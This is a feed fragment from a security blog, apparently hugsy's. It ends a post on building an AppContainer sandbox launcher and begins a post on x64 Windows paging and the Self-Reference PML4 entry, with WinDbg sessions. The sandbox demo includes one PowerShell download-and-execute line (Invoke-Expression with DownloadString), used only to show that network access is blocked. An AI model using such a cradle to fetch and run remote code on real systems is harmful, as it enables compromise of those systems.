&lt;p&gt;Not unlike &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;pwn--&#x2F;tree&#x2F;main&#x2F;Tools&#x2F;Win32&#x2F;ProcessReparent&quot;&gt;process reparenting&lt;&#x2F;a&gt;, appcontainerization requires to define a set of attribute as part of the extended startup information structure:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;&lt;span&gt;    SIZE_T size;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;m_StartupInfo&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;StartupInfo&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cb &lt;&#x2F;span&gt;&lt;span&gt;= sizeof(STARTUPINFOEX);
&lt;&#x2F;span&gt;&lt;span&gt;    ::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;InitializeProcThreadAttributeList&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &amp;amp;size);
&lt;&#x2F;span&gt;&lt;span&gt;    StartupInfo.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;lpAttributeList &lt;&#x2F;span&gt;&lt;span&gt;= (LPPROC_THREAD_ATTRIBUTE_LIST)::new byte[size];
&lt;&#x2F;span&gt;&lt;span&gt;    ::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;InitializeProcThreadAttributeList&lt;&#x2F;span&gt;&lt;span&gt;(StartupInfo.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;lpAttributeList&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &amp;amp;size);
&lt;&#x2F;span&gt;&lt;span&gt;    ::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;UpdateProcThreadAttribute&lt;&#x2F;span&gt;&lt;span&gt;(StartupInfo.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;lpAttributeList&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES, &amp;amp;SecurityCapabilities, sizeof(SecurityCapabilities), &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;start-the-process&quot;&gt;Start the process&lt;&#x2F;h3&gt;
&lt;p&gt;All that’s left now, is simply to invoke &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;api&#x2F;processthreadsapi&#x2F;nf-processthreadsapi-createprocessa&quot;&gt;&lt;code&gt;CreateProcess&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; and we get the AppContained process.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;&lt;span&gt;    ::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CreateProcessW&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        (LPWSTR)lpwCmdLine.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;(),
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        EXTENDED_STARTUPINFO_PRESENT,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        (LPSTARTUPINFO)&amp;amp;StartupInfo,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;amp;ProcessInfo
&lt;&#x2F;span&gt;&lt;span&gt;    );
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Surprisingly not hard to implement in C&#x2F;C++ (and by extension also in C#), I’m surprised to see this rather efficient sandbox mechanism not being more broader to encapsulate legacy Win32 apps which functionally require only a small set of permissions available.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;result&quot;&gt;Result&lt;&#x2F;h2&gt;
&lt;p&gt;The &lt;del&gt;complete&lt;&#x2F;del&gt; functional command line tool AppContainMe&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2020-12-29-cheap-sandboxing-with-appcontainers&#x2F;#ref_3&quot;&gt;[3]&lt;&#x2F;a&gt; that uses the AppContainer implementation allows to launch contained process:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;PS&amp;gt; d:\code\pwn++\x64\release\appcontainme.exe
&lt;&#x2F;span&gt;&lt;span&gt;[-]  syntax
&lt;&#x2F;span&gt;&lt;span&gt;        appcontainme.exe &amp;#39;process_to_run.exe arg1 arg2&amp;#39; [d:\allowed\path1 d:\allowed\path2] [c:Capability1 c:Capability2] [r:regkey1 r:regkey2]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It’s not complete but does the trick for me: without any option, the process will be spawn without any access to the FS (except the subtree allocated to the container in LocalAppData), no network access, no capability etc. So for example, we can start a totally harmless &lt;code&gt;powershell&lt;&#x2F;code&gt; session and obverse the process runs without any privilege (&lt;code&gt;powershell&lt;&#x2F;code&gt; cannot even get to our home directory).&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;&lt;span&gt;PS&amp;gt; AppContainMe powershell
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;29d17988-bf1f-4a1c-8b63-b01e97e6b53f.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;29d17988-bf1f-4a1c-8b63-b01e97e6b53f.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;It won’t also have any network access:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;PS C:\WINDOWS\System32\WindowsPowerShell\v1.0&amp;gt; Invoke-Expression ((New-Object System.Net.WebClient).DownloadString(&amp;#39;http:&#x2F;&#x2F;google.com&amp;#39;))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Exception calling &amp;quot;DownloadString&amp;quot; with &amp;quot;1&amp;quot; argument(s): &amp;quot;The remote name could not be resolved:
&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;google.com&amp;#39;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;At line:1 char:1
&lt;&#x2F;span&gt;&lt;span&gt;+ Invoke-Expression ((New-Object System.Net.WebClient).DownloadString(&amp;#39; ...
&lt;&#x2F;span&gt;&lt;span&gt;+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&lt;&#x2F;span&gt;&lt;span&gt;+ CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
&lt;&#x2F;span&gt;&lt;span&gt;+ FullyQualifiedErrorId : WebException
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Or process listing:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;PS C:\WINDOWS\System32\WindowsPowerShell\v1.0&amp;gt; ps
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
&lt;&#x2F;span&gt;&lt;span&gt;      0       0       60          8                 0   0 Idle
&lt;&#x2F;span&gt;&lt;span&gt;    705      32    79932      92600       0.73   7676   2 powershell
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So that confirms all the “isolation” points that are stated in the MSDN. It also works perfectly well for Win32 GUI apps, for PDF Readers
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;1e3a7b9c-7ef6-481d-a803-d0a969b3eab4.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;1e3a7b9c-7ef6-481d-a803-d0a969b3eab4.png&quot;

    

    
    title=&quot;PDF Reader&quot;
    alt=&quot;PDF Reader&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Also, for having lightweight web browsing sessions (like with &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.qtweb.net&#x2F;&quot;&gt;&lt;code&gt;qtweb.exe&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;)
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;283fd853-c2c7-4846-9b7c-242bfe1b02a1.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;283fd853-c2c7-4846-9b7c-242bfe1b02a1.png&quot;

    

    
    title=&quot;Web browser&quot;
    alt=&quot;Web browser&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;That’s pretty much it for this small post about AppContainers. If you want to play out-of-the-box with &lt;code&gt;AppContainMe&lt;&#x2F;code&gt;, a release archive with all the files is &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;pwn--&#x2F;releases&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;credits-links&quot;&gt;Credits &amp;amp; Links&lt;&#x2F;h2&gt;
&lt;p&gt;Shout out to Pavel Yosivovich for his article and tool on AppContainer. And credits to COVID lockdown for giving me time to get back to finishing writing articles. More to come 😉…&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a name=&quot;ref_1&quot;&gt;[1]&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;scorpiosoftware.net&#x2F;2019&#x2F;01&#x2F;15&#x2F;fun-with-appcontainers&#x2F;&quot;&gt;Fun with AppContainers&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a name=&quot;ref_2&quot;&gt;[2]&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;zodiacon&#x2F;RunAppContainer&quot;&gt;zodiacon&#x2F;RunAppContainer - Github&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a name=&quot;ref_3&quot;&gt;[3]&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;pwn--&#x2F;tree&#x2F;main&#x2F;Tools&#x2F;Win32&#x2F;AppContainMe&quot;&gt;hugsy&#x2F;pwn++ - Github&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Peace ✌&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Some toying with the Self-Reference PML4 Entry</title>
        <published>2020-06-15T00:00:00+00:00</published>
        <updated>2024-07-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2020-06-15-playing-with-self-reference-pml4-entry/"/>
        <id>https://blahcat.github.io/2020-06-15-playing-with-self-reference-pml4-entry/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2020-06-15-playing-with-self-reference-pml4-entry/">&lt;p&gt;Sometimes you read about an awesome exploitation technique (&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2020-06-15-playing-with-self-reference-pml4-entry&#x2F;#links&quot;&gt;#1&lt;&#x2F;a&gt;), so you want to go deeper. So this is my notes about how trying to totally understand the exploitation of CVE-2020-0796 (&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2020-06-15-playing-with-self-reference-pml4-entry&#x2F;#links&quot;&gt;#2&lt;&#x2F;a&gt;), I ended up struggling finding good explanation about a critical structure of Windows paging mechanism: the “Self-Reference PML4 Entry”.
&lt;em&gt;Disclaimer&lt;&#x2F;em&gt;: If you came here for new stuff, so let me put your mind at peace: There’s nothing new here, I don’t claim to find anything what’s being found and said by people way smarter, and I have probably understood it wrong anyway so don’t judge&#x2F;quote me. Also the post will only talk be about x64 and Windows here (and having a (L)KD open can help to follow along).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mmu-101&quot;&gt;MMU 101&lt;&#x2F;h2&gt;
&lt;p&gt;Although this post won’t be only about the &lt;abbr title=&quot;Memory Management Unit&quot;&gt;MDL&lt;&#x2F;abbr&gt; (there’s a book for that &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2020-06-15-playing-with-self-reference-pml4-entry&#x2F;#links&quot;&gt;#3&lt;&#x2F;a&gt;), some background is required for understanding why there is a need for the so-called Self-Reference PML4 entry. The root question for that is a simple (but not trivial) one: how does the processor read&#x2F;write a block of physical memory, &lt;strong&gt;only&lt;&#x2F;strong&gt; by knowing the virtual address, or in layman’s term, how to go from Virtual Address to Physical Address?&lt;&#x2F;p&gt;
&lt;h3 id=&quot;segmentation&quot;&gt;Segmentation&lt;&#x2F;h3&gt;
&lt;p&gt;On Intel and AMD processors, a virtual address is a combination of a &lt;em&gt;segment number&lt;&#x2F;em&gt; &lt;strong&gt;and&lt;&#x2F;strong&gt; &lt;em&gt;a linear address&lt;&#x2F;em&gt;, or &lt;code&gt;segment_number:linear_address&lt;&#x2F;code&gt; and even on 64b architecture segmentation is still necessary. So in long mode, a code virtual address is never just &lt;code&gt;0xLinearAddress&lt;&#x2F;code&gt; but always &lt;code&gt;cs:0xLinearAddress&lt;&#x2F;code&gt;, data is &lt;code&gt;ds:0xLinearAddress&lt;&#x2F;code&gt;, stack is &lt;code&gt;ss:0xLinearAddress&lt;&#x2F;code&gt;, and so on, where &lt;code&gt;cs&lt;&#x2F;code&gt;, &lt;code&gt;ds&lt;&#x2F;code&gt;, &lt;code&gt;ss&lt;&#x2F;code&gt; register holds a WORD value corresponding to an index (with the 2 least significant bit OR-ed, designating the &lt;abbr title=&quot;Current Privilege Level&quot;&gt;CPL&lt;&#x2F;abbr&gt;) . The segment number will be added to the value of the register &lt;code&gt;gdtr&lt;&#x2F;code&gt; and will get the segment descriptor:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; r cs, rip, gdtr
&lt;&#x2F;span&gt;&lt;span&gt;cs=0010 rip=fffff80041e811e0, gdtr=fffff80044b5dfb0
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; dd @gdtr + @cs l2
&lt;&#x2F;span&gt;&lt;span&gt;fffff800`44b5dfc0  00000000 00209b00
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; .formats 00209b00
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;Binary:  [..] 00000000 00100000 10011011 00000000
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which we can parse combined with the format given by the AMD manual:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.ibb.co&amp;#x2F;NNgJdgz&amp;#x2F;image.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.ibb.co&amp;#x2F;NNgJdgz&amp;#x2F;image.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
(Src: AMD Programmer’s Manual Volume 2)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0x00209b00   = 0000 0000 ‭ 0010 0000 1001 1011 0000 0000‬
&lt;&#x2F;span&gt;&lt;span&gt;               [BaseL  ]  gdLa      P| 1 1CRA [BaseM  ]
&lt;&#x2F;span&gt;&lt;span&gt;                                     |
&lt;&#x2F;span&gt;&lt;span&gt;                                     ↳ DPL=0
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;0x00000000   = 0000 0000  0000 0000  0000 0000  0000 0000
&lt;&#x2F;span&gt;&lt;span&gt;               [ BaseAddress 15:0 ]  [  Seg Limit 15:0  ]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;abbr title=&quot;Current Privilege Level&quot;&gt;CPL&lt;&#x2F;abbr&gt; being given by the 2 lowest bytes of CS, it is now easy to understand how the CPU performs privilege check: by simply comparing the &lt;abbr title=&quot;Current Privilege Level&quot;&gt;CPL&lt;&#x2F;abbr&gt; from CS register and &lt;abbr title=&quot;Descriptor Privilege Level&quot;&gt;DPL&lt;&#x2F;abbr&gt; from the segment descriptor, or if you prefer a visual diagram from the AMD manual:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.ibb.co&amp;#x2F;kDFzxB8&amp;#x2F;image.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.ibb.co&amp;#x2F;kDFzxB8&amp;#x2F;image.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
(Src: AMD Programmer’s Manual Volume 2)&lt;&#x2F;p&gt;
&lt;p&gt;As we saw earlier, the &lt;code&gt;Address&lt;&#x2F;code&gt; and &lt;code&gt;Limit&lt;&#x2F;code&gt; parts of the descriptor are equal to 0 in Long-Mode (64-bit) - this may be the source of confusion I read in some blog posts (but no name shaming, it’s not the point 😋).&lt;&#x2F;p&gt;
&lt;p&gt;Also if you’re lazy (like me) and addicted to WinDbg (like me), the &lt;code&gt;dg&lt;&#x2F;code&gt; command will pretty-print all those info for you:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; dg @cs
&lt;&#x2F;span&gt;&lt;span&gt;                                                    P Si Gr Pr Lo
&lt;&#x2F;span&gt;&lt;span&gt;Sel        Base              Limit          Type    l ze an es ng Flags
&lt;&#x2F;span&gt;&lt;span&gt;0010 00000000`00000000 00000000`00000000 Code RE Ac 0 Nb By P  Lo 0000029b
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; dg @ds
&lt;&#x2F;span&gt;&lt;span&gt;                                                    P Si Gr Pr Lo
&lt;&#x2F;span&gt;&lt;span&gt;Sel        Base              Limit          Type    l ze an es ng Flags
&lt;&#x2F;span&gt;&lt;span&gt;002B 00000000`00000000 00000000`ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;There is plenty more to say about the segmentation mechanism on x86, but for our purpose (reminder: &lt;em&gt;how does the CPU goes from VA to PA?&lt;&#x2F;em&gt;), we’ll stick to those basic highlights.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;paging&quot;&gt;Paging&lt;&#x2F;h3&gt;
&lt;p&gt;Preparing this post, I came across &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;connormcgarr.github.io&#x2F;paging&#x2F;&quot;&gt;this blog post&lt;&#x2F;a&gt; that &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;33y0re&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@33y0re&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 wrote recently, and where he did a really good job summarizing how paging works on x86-64 long-mode, and how to explore it on Windows. Therefore I will send you reader to his article, and assume from then on you know of PML4, PDPT, PD, PT and what a canonical linear address is.&lt;&#x2F;p&gt;
&lt;p&gt;The best summary can be given by this diagram (again from AMD’s manual)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.ibb.co&amp;#x2F;k5TDWgw&amp;#x2F;image.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.ibb.co&amp;#x2F;k5TDWgw&amp;#x2F;image.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;em&gt;Source: AMD Programmer’s Manual Volume 2&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-why-the-hell-is-self-reference-pml4-entry&quot;&gt;What &amp;amp; why the hell is “Self-Reference PML4 entry” ?&lt;&#x2F;h2&gt;
&lt;p&gt;Back to the problem at hand, i.e. understand how does the CPU go from VA to PA, there is an intrinsic problem: the CPU only uses virtual address so how could the processor manipulates the permissions, flags, etc. of those PTEs which are physical? Simply by mapping the PTE tables in VAS, right? But that creates a recursive problem, because we still don’t know how to go from VA to PA. And that’s precisely where “Self-Reference PML4 entry” comes in. But let’s go back a bit.&lt;&#x2F;p&gt;
&lt;p&gt;When a new process is created, a new PML4 is also allocated holding the physical root address for our process address space. From that physical root address and with all the offsets from the VA itself, the &lt;abbr title=&quot;Memory Management Unit&quot;&gt;MDL&lt;&#x2F;abbr&gt; can crawl down the physical page directories until getting the wanted data (see “Paging” above). This physical address is stored in the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.vergiliusproject.com&#x2F;kernels&#x2F;x64&#x2F;Windows%2010%20%7C%202016&#x2F;2004%2020H1%20(May%202020%20Update)&#x2F;_KPROCESS&quot;&gt;&lt;code&gt;nt!_KPROCESS&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; structure of the process, precisely in &lt;code&gt;_KPROCESS.DirectoryTableBase&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;To experiment this behavior, we can create a simple program that will only &lt;code&gt;int3&lt;&#x2F;code&gt; so that KD gets the hand while still in user-mode:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;__asm__&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;int3;&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;); }
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Compile and execute, and as expected KD notifies the breakpoint:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;Break instruction exception - code 80000003 (first chance)
&lt;&#x2F;span&gt;&lt;span&gt;int3+0x6d08:
&lt;&#x2F;span&gt;&lt;span&gt;0033:00007ff7`83f26d08 cc              int     3
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; dx @$curprocess.KernelObject.Pcb.DirectoryTableBase
&lt;&#x2F;span&gt;&lt;span&gt;@$curprocess.KernelObject.Pcb.DirectoryTableBase : 0x762ec002 [Type: unsigned __int64]
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; dx @$curprocess.KernelObject.Pcb.DirectoryTableBase == @cr3
&lt;&#x2F;span&gt;&lt;span&gt;@$curprocess.KernelObject.Pcb.DirectoryTableBase == @cr3 : true
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So when a process switch occurs, the kernel can move &lt;code&gt;nt!_EPROCESS.KernelObject.Pcb.DirectoryTableBase&lt;&#x2F;code&gt; into &lt;code&gt;cr3&lt;&#x2F;code&gt; (that &lt;code&gt;mov&lt;&#x2F;code&gt; operation forcing the TLB cache being flushed), given the newly running process the illusion of having a clean full virtual address space, and by the same way physically isolating processes.&lt;&#x2F;p&gt;
